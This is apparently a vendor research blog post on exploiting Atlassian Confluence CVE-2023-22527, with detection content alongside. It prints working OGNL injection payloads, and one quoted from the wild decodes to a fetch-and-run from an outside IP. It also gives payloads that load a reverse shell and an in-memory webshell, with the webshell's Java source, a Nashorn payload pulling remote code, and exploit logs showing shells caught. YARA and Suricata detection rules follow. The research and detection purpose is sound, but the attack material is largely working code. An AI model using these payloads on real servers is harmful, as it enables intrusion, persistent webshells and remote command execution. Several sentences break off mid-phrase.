Key Takeaways
Introduction
Since its disclosure on January 16, CVE-2023-22527 has been a hotbed of malicious activity. The vulnerability was quickly added to VulnCheck KEV on January 21, CISA KEV on January 24, and reports of exploitation have continued through February (see Rapid7 and Imperva. Not to be outdone, the exploit development community has been busy as well. VulnCheck currently tracks 30 unique exploits for the vulnerability.
Many of the exploits we track are largely the same (a phenomenon we’ve touched on before). Consider the following exploit payloads for CVE-2023-22527:
label=aaa\u0027%2b#request.get(\u0027.KEY_velocity.struts2.context\u0027).internalGet( \u0027ognl\u0027).findValue(#parameters.poc[0],{})%2b\u0027 &poc=@org.apache.struts2.ServletActionContext@getResponse().setHeader( \u0027x_vuln_check\u0027,(new+freemarker.template.utility.Execute()).exec({"whoami"}))
Metasploit (Windows Variant - immediately blocked by Defender):
label=\u0027+#request.get(\u0027.KEY_velocity.struts2.context\u0027).internalGet( \u0027ognl\u0027).findValue(#parameters.YDwnBTJF,{})+\u0027&YDwnBTJF=(new freemarker.template.utility.Execute()).exec({ @org.apache.struts2.ServletActionContext@getRequest().getParameter('PeMYYOlk')})& PeMYYOlk=cmd.exe /c "powershell.exe -nop -w hidden -noni -c “...
A payload from the wild as reported by Johannes Ullrich SANS Blog:
label=\\u0027%2b#request\\u005b\\u0027.KEY_velocity.struts2.context\\u0027\\u005d.internalGet( \\u0027ognl\\u0027).findValue(#parameters.x,{})%2b\\u0027&x=(new freemarker.template.utility.Execute()).exec({ "echo -n Y3VybCAtcyBodHRwOi8vMTk1LjIxMS4xMjQuMTg0L2FhIHx8IHdnZXQgLXEgLU8tIGh0dHA6Ly8xOTUuMjExLjEyNC4xODQvYWE= | base64 -d | sh"})
A GitHub example:
label=\u0027%2b#request\u005b\u0027.KEY_velocity.struts2.context\u0027\u005d.internalGet( \u0027ognl\u0027).findValue(#parameters.x,{})%2b\u0027& x=@org.apache.struts2.ServletActionContext@getResponse().setHeader( 'X-Cmd-Response',(new freemarker.template.utility.Execute()).exec({'"+ cmd +"'}))
What all these exploits have in common is that they use
Dear attacker, all is not lost. Loading into and executing code from Confluence’s memory works like a dream. Due to the magic of OGNL and Java reflection, there is no limit to what you can do.
Dreaming of Shells
Originally, we approached this “execute out of memory” problem using Nashorn. While that worked (and we’ll discuss it later in the blog), there is a significantly better approach.
During VulnCheck’s standard GitHub exploit review for XDB, we stumbled upon this repository that exploits CVE-2023-22527 to load the Godzilla webshell into memory. It contains at least three novel techniques that we weren’t aware of:
- It alters the max length of an OGNL expression to overcome space issues in CVE-2023-22527 exploitation. By default, Confluence appears to restrict expressions to 200 characters. Both Project Discovery and Rapid7 shared different work-arounds for this limitation, but this new method completely removes the restriction.
- The exploit uses org.springframework.cglib.core.ReflectUtils.defineClass() to load a class into memory from a byte string.
- The loaded class is a ServletRequestListener and registers to receive ServletRequestEvents. Meaning the uploaded class can intercept all HTTP requests to Confluence.
These three clever ideas combine to create a very powerful in-memory webshell. In the following sections, we’ll examine each step closer and then look at detection artifacts.
Loading a Class Into Memory
To demonstrate using CVE-2023-22527 to load a class into memory, we’ve published a proof of concept on GitHub. If you look at the PoC, you’ll notice there are no
func sendShell(conf *config.Config) bool {
// generate the class that Confluence will execute in memory
reverseShell, className := java.ReverseShellBytecode(conf)
The reverse shell automatically works on Windows or Linux (see source), which is useful because Confluence can be deployed on either operating system.
The problem with the generated class is that it’s much too large for the 200-character OGNL expression limit. The simplest solution is to disable this limit. Using the static function ognl.Ognl.applyExpressionMaxLength, the caller can lift the size restriction high enough to accommodate loading the reverse shell class. The following CVE-2023-22527 exploit lifts the expression limit to 100,000 characters.
label=\u0027+#request.get(\u0027.KEY_velocity.struts2.context\u0027).internalGet( \u0027ognl\u0027).findValue(#parameters.Fvp,{})+\u0027&Fvp=@ognl.Ognl@applyExpressionMaxLength(100000)
Having done that, the attacker is free to load the class. This can be done using Spring’s static
As a CVE-2023-22527 exploit, that looks like the following (note, in the following, the class is sent over the wire Base64 encoded and
VjI=(@org.springframework.cglib.core.ReflectUtils@defineClass( 'DpLlaMWFG',@org.springframework.util.Base64Utils@decodeFromString('classBytes…'), @java.lang.Thread@currentThread().getContextClassLoader())).newInstance()& label=\u0027+#request.get(\u0027.KEY_velocity.struts2.context\u0027).internalGet( \u0027ognl\u0027).findValue(#parameters.VjI,{})+\u0027
The transition from the OGNL expression to executing the loaded class is the invocation of newInstance. That will cause the class’s constructor to be executed.
Our GitHub proof of concept puts that all together and establishes a reverse shell in memory.
albinolobster@mournland:~/cve-2023-22527/reverseshell$ sudo docker run -it --network=host cve-2023-22527 -a -v -e -rhost 10.9.49.97 -rport 8090 -lhost 10.9.49.82 -lport 1270 -ell SUCCESS -fll SUCCESS
time=2024-03-01T18:22:37.114Z level=SUCCESS msg="Target verification succeeded!" host=10.9.49.97 port=8090 verified=true
time=2024-03-01T18:22:37.412Z level=SUCCESS msg="Caught new shell from 10.9.49.97:50109"
C:\Program Files\Atlassian\Confluence>whoami
nt authority\network service
C:\Program Files\Atlassian\Confluence>
Above, the reader can see we establish a
Java or Tomcat spinning out shells is a well-known issue for Confluence, and our friends at SigmaHQ already have a Sigma rule that detects this behavior for CVE-2023-22518 (see: SigmaHQ GitHub).
But that isn’t the only thing that makes class loading a tight reverse shell a bad idea for an attacker. Our implementation holds open the HTTP connection, which triggers the following stack in Confluence’s
01-Mar-2024 13:36:56.128 WARNING [Catalina-utility-1] org.apache.catalina.valves.StuckThreadDetectionValve.notifyStuckThreadDetected Thread [http-nio-8090-exec-4 url: /template/aui/text-inline.vm] (id=[272]) has been active for [67,521] milliseconds (since [3/1/24, 1:35 PM]) to serve the same request for [http://10.9.49.97:8090/template/aui/text-inline.vm] and may be stuck (configured threshold for this StuckThreadDetectionValve is [60] seconds). There is/are [2] thread(s) in total that are monitored by this Valve and may be stuck.
java.lang.Throwable
at java.base@17.0.8.1/sun.nio.ch.SocketDispatcher.read0(Native Method)
at java.base@17.0.8.1/sun.nio.ch.SocketDispatcher.read(Unknown Source)
at java.base@17.0.8.1/sun.nio.ch.NioSocketImpl.tryRead(Unknown Source)
at java.base@17.0.8.1/sun.nio.ch.NioSocketImpl.implRead(Unknown Source)
at java.base@17.0.8.1/sun.nio.ch.NioSocketImpl.read(Unknown Source)
at java.base@17.0.8.1/sun.nio.ch.NioSocketImpl$1.read(Unknown Source)
at java.base@17.0.8.1/java.net.Socket$SocketInputStream.read(Unknown Source)
at java.base@17.0.8.1/sun.nio.cs.StreamDecoder.readBytes(Unknown Source)
at java.base@17.0.8.1/sun.nio.cs.StreamDecoder.implRead(Unknown Source)
at java.base@17.0.8.1/sun.nio.cs.StreamDecoder.read(Unknown Source)
at java.base@17.0.8.1/java.io.InputStreamReader.read(Unknown Source)
at java.base@17.0.8.1/java.io.BufferedReader.fill(Unknown Source)
at java.base@17.0.8.1/java.io.BufferedReader.readLine(Unknown Source)
at java.base@17.0.8.1/java.io.BufferedReader.readLine(Unknown Source)
at QfOToRTqlN.<init>(ABCDEFG.java:31)
at java.base@17.0.8.1/jdk.internal.reflect.NativeConstructorAccessorImpl.newInstance0(Native Method)
at java.base@17.0.8.1/jdk.internal.reflect.NativeConstructorAccessorImpl.newInstance(Unknown Source)
at java.base@17.0.8.1/jdk.internal.reflect.DelegatingConstructorAccessorImpl.newInstance(Unknown Source)
at java.base@17.0.8.1/java.lang.reflect.Constructor.newInstanceWithCaller(Unknown Source)
at java.base@17.0.8.1/java.lang.reflect.ReflectAccess.newInstance(Unknown Source)
at java.base@17.0.8.1/jdk.internal.reflect.ReflectionFactory.newInstance(Unknown Source)
at java.base@17.0.8.1/java.lang.Class.newInstance(Unknown Source)
at java.base@17.0.8.1/jdk.internal.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
at java.base@17.0.8.1/jdk.internal.reflect.NativeMethodAccessorImpl.invoke(Unknown Source)
at java.base@17.0.8.1/jdk.internal.reflect.DelegatingMethodAccessorImpl.invoke(Unknown Source)
at java.base@17.0.8.1/java.lang.reflect.Method.invoke(Unknown Source)
at ognl.OgnlRuntime.invokeMethodInsideSandbox(OgnlRuntime.java:1266)
at ognl.OgnlRuntime.invokeMethod(OgnlRuntime.java:1251)
at ognl.OgnlRuntime.callAppropriateMethod(OgnlRuntime.java:1969)
at ognl.ObjectMethodAccessor.callMethod(ObjectMethodAccessor.java:68)
at com.opensymphony.xwork2.ognl.accessor.XWorkMethodAccessor.callMethodWithDebugInfo(XWorkMethodAccessor.java:98)
at com.opensymphony.xwork2.ognl.accessor.XWorkMethodAccessor.callMethod(XWorkMethodAccessor.java:90)
at ognl.OgnlRuntime.callMethod(OgnlRuntime.java:2045)
at ognl.ASTMethod.getValueBody(ASTMethod.java:97)
at ognl.SimpleNode.evaluateGetValueBody(SimpleNode.java:212)
at ognl.SimpleNode.getValue(SimpleNode.java:258)
at ognl.ASTChain.getValueBody(ASTChain.java:141)
at ognl.SimpleNode.evaluateGetValueBody(SimpleNode.java:212)
at ognl.SimpleNode.getValue(SimpleNode.java:258)
at ognl.Ognl.getValue(Ognl.java:537)
at ognl.Ognl.getValue(Ognl.java:687)
at ognl.Ognl.getValue(Ognl.java:662)
at org.apache.struts2.views.jsp.ui.OgnlTool.findValue(OgnlTool.java:48)
This stacktrace gives perfect visibility into the exploitation path. The bottom of the stack reads
rule Conflunece_CVE_2023_22527_Exploit
{
meta:
description = "Atlassian Confluence CVE-2023-22527 Exploit Attempt (In Memory Reverse Shell)"
path_pattern = "C:\\Program Files\\Atlassian\\Confluence\\logs\\confluence[0-9]+-stderr.yyyy-mm-dd.log"
strings:
$stuck = /StuckThreadDetectionValve.notifyStuckThreadDetected Thread \[http-nio-\d+-exec-\d+ url: \/template\/aui\/text-inline.vm/
$find = "org.apache.struts2.views.jsp.ui.OgnlTool.findValue"
$callMethod = "com.opensymphony.xwork2.ognl.accessor.XWorkMethodAccessor.callMethod"
$invokeMethod = "ognl.OgnlRuntime.invokeMethod"
condition:
all of them
}
So, while the reverse shell is a viable option, it’ll get caught by known Sigma rules and leave (as implemented) very obvious log traces. But we can load anything we want! Let’s move on to something more stealthy: an in-memory webshell.
Loading a Webshell
Loading the webshell builds on the previous example. Exploitation is almost the same (using
The biggest difference is the inclusion of
Being a
public ABCDEFG(ServletContext context) {
try {
addListener(this, getFieldValue(getFieldValue(context,"context"), "context"));
} catch (Throwable e) {
}
}
private void addListener(Object listener, Object standardContext) throws Exception {
Method addApplicationEventListenerMethod = standardContext.getClass().getDeclaredMethod("addApplicationEventListener", Object.class);
addApplicationEventListenerMethod.setAccessible(true);
addApplicationEventListenerMethod.invoke(standardContext, listener);
}
The constructor expects the caller to provide a javax.servlet.ServletContext, from which it extracts the underlying Tomcat StandardContext and invokes
The
weZ=(@org.springframework.cglib.core.ReflectUtils@defineClass('AgzJWbvprnpCqo', @org.springframework.util.Base64Utils@decodeFromString('classbytes…'), @java.lang.Thread@currentThread().getContextClassLoader())).getDeclaredConstructors[0].newInstance( @org.apache.struts2.ServletActionContext@getRequest().getServletContext())& label=\u0027+#request.get(\u0027.KEY_velocity.struts2.context\u0027).internalGet( \u0027ognl\u0027).findValue(#parameters.weZ,{})+\u0027
Instead of using
The result is the class can then intercept any HTTP request to Confluence.
@Override
public void requestInitialized(ServletRequestEvent sret) {
try {
ServletRequest request = sret.getServletRequest();
String cmd = request.getParameter("AAAAAAAAAAAA");
if (cmd != null) {
ServletResponse response = (ServletResponse)getFieldValue(getFieldValue(request, "request"), "response");
PrintWriter printWriter = response.getWriter();
Process p = Runtime.getRuntime().exec(cmd);
OutputStream os = p.getOutputStream();
InputStream in = p.getInputStream();
DataInputStream dis = new DataInputStream(in);
String disr = dis.readLine();
while (disr != null) {
printWriter.write(disr);
disr = dis.readLine();
}
printWriter.flush();
printWriter.close();
}
}
catch (Exception e) {
}
}
This is a pretty standard webshell, hardly different from the in-memory webshell described by the JSP Webshell Cookbook. But, by virtue of only being in memory, it provides a strong foothold into the victim network. Consider the following example using our exploit to insert the webshell.
albinolobster@mournland:~/cve-2023-22527/webshell$ ./build/cve-2023-22527_linux-arm64 -v -a -c -e -rhost 10.9.49.80 -ell
SUCCESS -fll SUCCESS
time=2024-03-04T10:37:44.404-05:00 level=SUCCESS msg="Target verification succeeded!" host=10.9.49.80 port=8090 verified=true
time=2024-03-04T10:37:44.582-05:00 level=SUCCESS msg="The target appears to be a vulnerable version!" host=10.9.49.80 port=8090 vulnerable=yes
time=2024-03-04T10:37:44.892-05:00 level=SUCCESS msg="In memory webshell available using KUifNtvadjt param"
time=2024-03-04T10:37:44.892-05:00 level=SUCCESS msg="Example usage: curl -kv http://10.9.49.80:8090/?KUifNtvadjt=whoami"
As the exploit says, the webshell is now available at
albinolobster@mournland:~/cve-2023-22527/webshell$ curl http://10.9.49.80:8090/?KUifNtvadjt=whoami
nt authority\network service
The webshell, still not stealthy in executing attacker-provided commands, uses
Remember, though, this is just a proof of concept. A real weaponized payload (e.g. Godzilla) won’t be using
04/Mar/2024:10:38:32 -0500 - http-nio-8090-exec-1 10.9.49.81 GET /?KuifNtvadjt=whoami HTTP/1.1 500 73ms 39 - curl/7.68.0
Staying in Memory Using Nashorn
Earlier, the blog mentioned that we approached this problem with Nashorn initially. (Un)fortunately, Confluence bundles Java 17 since 8.2.3. Nashorn was removed in Java 15, so exploitation using the JavaScript engine is becoming irrelevant for Confluence. However, there will forever be Java 8 installs, so exploitation with Nashorn in general will never be dead—so this tidbit might be of use to someone eventually.
Although this blog touches on using
label==\u0027%2b#request\u005b\u0027.K%45Y_velocity.struts2.context\u0027 \u005d.internalGet(\u0027ognl\u0027).findValue(#parameters.x,%7B%7D)%2b\u0027&x=( new javax.script.ScriptEngineManager().getEngineByName('js').eval('load("http://10.9.49.81:8080/UOymEWIpfhgs")'))
You can find the proof of concept on GitHub. The exploit spins up its own HTTP server to serve the Nashorn payload. Example usage:
albinolobster@mournland:~/cve-2023-22527/nashorn$ sudo docker run -it --network=host nashorn -v -a -c -e -rhost 10.9.49.8
8 -lhost 10.9.49.81 -lport 1270 -httpAddr 10.9.49.81 -ell SUCCESS -fll SUCCESS
time=2024-03-04T16:10:38.002Z level=SUCCESS msg="Target verification succeeded!" host=10.9.49.88 port=8090 verified=true
time=2024-03-04T16:10:38.146Z level=SUCCESS msg="The target appears to be a vulnerable version!" host=10.9.49.88 port=8090 vulnerable=yes
time=2024-03-04T16:10:40.503Z level=SUCCESS msg="Caught new shell from 10.9.49.88:41826"
id
uid=2002(confluence) gid=2002(confluence) groups=2002(confluence),0(root)
Detection on the Wire
Perhaps the best place to catch exploitation of CVE-2023-22527 is on the wire. VulnCheck’s Initial Access team likes to obfuscate payloads to make life more challenging for detection engineers. For example, the reverse shell payload is entirely URL encoded here:
This isn’t that strong of an obfuscation, though. The two elements of exploitation are still there. There is an unobfuscated
alert http any any -> any any ( \
msg:"VULNCHECK Confluence CVE-2023-22527 Exploit Attempt (POST Body)"; \
flow:established,to_server; \
http.method; content:"POST"; \
http.uri; content:"/template/aui/text-inline.vm"; startswith; \
http.request_body; content:"label="; \
pcre:"/label=[^&]*(\\|%5c)(u|%75)|(0|%30)(0|%30)(2|%32)(7|%37)/i"; \
reference:cve,CVE-2023-22527; \
classtype:web-application-attack; \
sid:12700246; rev:2;)
alert http any any -> any any ( \
msg:"VULNCHECK Confluence CVE-2023-22527 Exploit Attempt (POST URI)"; \
flow:established,to_server; \
http.method; content:"POST"; \
http.uri; content:"/template/aui/text-inline.vm"; startswith; \
content:"label="; distance: 0; \
pcre:"/label=[^&]*(\\|%5c)(u|%75)|(0|%30)(0|%30)(2|%32)(7|%37)/i"; \
reference:cve,CVE-2023-22527; \
classtype:web-application-attack; \
sid:12700258; rev:1;)
alert http any any -> any any ( \
msg:"VULNCHECK Confluence CVE-2023-22527 Exploit Attempt (GET)"; \
flow:established,to_server; \
http.method; content:"GET"; \
http.uri; content:"/template/aui/text-inline.vm"; startswith; \
content:"label="; distance: 0; \
pcre:"/label=[^&]*(\\|%5c)(u|%75)|(0|%30)(0|%30)(2|%32)(7|%37)/i"; \
reference:cve,CVE-2023-22527; \
classtype:web-application-attack; \
sid:12700259; rev:1;)
Perhaps surprising is that we have three rules for this vulnerability. It turns out, though, that the exploit can be thrown using HTTP GET:
albinolobster@mournland:~$ curl -kvs -G -o /dev/null http://10.9.49.76:8090/template/aui/text-inline.vm \
> --data-urlencode 'label=\u0027+#request.get(\u0027.KEY_velocity.struts2.context\u0027).internalGet(\u0027ognl\u0027).findValue(#parameters.p1,{})+\u0027' \
> --data-urlencode 'p1=@org.apache.struts2.ServletActionContext@getResponse().setHeader("Cmd-Ret",(new freemarker.template.utility.Execute()).exec({"whoami"}))'
* Trying 10.9.49.76:8090...
* TCP_NODELAY set
* Connected to 10.9.49.76 (10.9.49.76) port 8090 (#0)
> GET /template/aui/text-inline.vm?label=%5Cu0027%2B%23request.get%28%5Cu0027.KEY_velocity.struts2.context%5Cu0027%29.internalGet%28%5Cu0027ognl%5Cu0027%29.findValue%28%23parameters.p1%2C%7B%7D%29%2B%5Cu0027&p1=%40org.apache.struts2.ServletActionContext%40getResponse%28%29.setHeader%28%22Cmd-Ret%22%2C%28new%20freemarker.template.utility.Execute%28%29%29.exec%28%7B%22whoami%22%7D%29%29 HTTP/1.1
> Host: 10.9.49.76:8090
> User-Agent: curl/7.68.0
> Accept: */*
>
* Mark bundle as not supporting multiuse
< HTTP/1.1 200
< Cache-Control: no-store
< Expires: Thu, 01 Jan 1970 00:00:00 GMT
< X-XSS-Protection: 1; mode=block
< X-Content-Type-Options: nosniff
< X-Frame-Options: SAMEORIGIN
< Content-Security-Policy: frame-ancestors 'self'
< X-Confluence-Request-Time: 1709669510258
< Set-Cookie: JSESSIONID=4CABC119C5C70CC2C745D4107663F45C; Path=/; HttpOnly
< Cmd-Ret: nt authority\network service
< X-Accel-Buffering: no
< Content-Type: text/html;charset=UTF-8
< Content-Language: en-US
< Transfer-Encoding: chunked
< Date: Tue, 05 Mar 2024 20:11:50 GMT
<
{ [7656 bytes data]
* Connection #0 to host 10.9.49.76 left intact
And it can be thrown with the parameters in the POST URI:
albinolobster@mournland:~$ curl -kvs -X POST -G -o /dev/null http://10.9.49.76:8090/template/aui/text-inline.vm \
> --data-urlencode 'label=\u0027+#request.get(\u0027.KEY_velocity.struts2.context\u0027).internalGet(\u0027ognl\u0027).findValue(#parameters.p1,{})+\u0027' \
> --data-urlencode 'p1=@org.apache.struts2.ServletActionContext@getResponse().setHeader("Cmd-Ret",(new freemarker.template.utility.Execute()).exec({"whoami"}))'
* Trying 10.9.49.76:8090...
* TCP_NODELAY set
* Connected to 10.9.49.76 (10.9.49.76) port 8090 (#0)
> POST /template/aui/text-inline.vm?label=%5Cu0027%2B%23request.get%28%5Cu0027.KEY_velocity.struts2.context%5Cu0027%29.internalGet%28%5Cu0027ognl%5Cu0027%29.findValue%28%23parameters.p1%2C%7B%7D%29%2B%5Cu0027&p1=%40org.apache.struts2.ServletActionContext%40getResponse%28%29.setHeader%28%22Cmd-Ret%22%2C%28new%20freemarker.template.utility.Execute%28%29%29.exec%28%7B%22whoami%22%7D%29%29 HTTP/1.1
> Host: 10.9.49.76:8090
> User-Agent: curl/7.68.0
> Accept: */*
>
* Mark bundle as not supporting multiuse
< HTTP/1.1 200
< Cache-Control: no-store
< Expires: Thu, 01 Jan 1970 00:00:00 GMT
< X-XSS-Protection: 1; mode=block
< X-Content-Type-Options: nosniff
< X-Frame-Options: SAMEORIGIN
< Content-Security-Policy: frame-ancestors 'self'
< X-Confluence-Request-Time: 1709669588783
< Set-Cookie: JSESSIONID=B96DB876DCA328DEDC0073326B666805; Path=/; HttpOnly
< Cmd-Ret: nt authority\network service
< X-Accel-Buffering: no
< Content-Type: text/html;charset=UTF-8
< Content-Language: en-US
< Transfer-Encoding: chunked
< Date: Tue, 05 Mar 2024 20:13:09 GMT
<
{ [7656 bytes data]
* Connection #0 to host 10.9.49.76 left intact
All of which has to be accounted for in the ruleset.
Conclusion
There's more than one way to reach Rome. While using
About VulnCheck
The VulnCheck Initial Access team is always looking to advance the state of attack on initial access vulnerabilities like CVE-2023-22527. For more research like this, see our blogs, PaperCut Exploitation and Fileless Remote Code Execution on Juniper Firewalls
Sign up to our website today to get free access to our VulnCheck KEV and request a trial of our Initial Access Intelligence and Exploit & Vulnerability Intelligence products.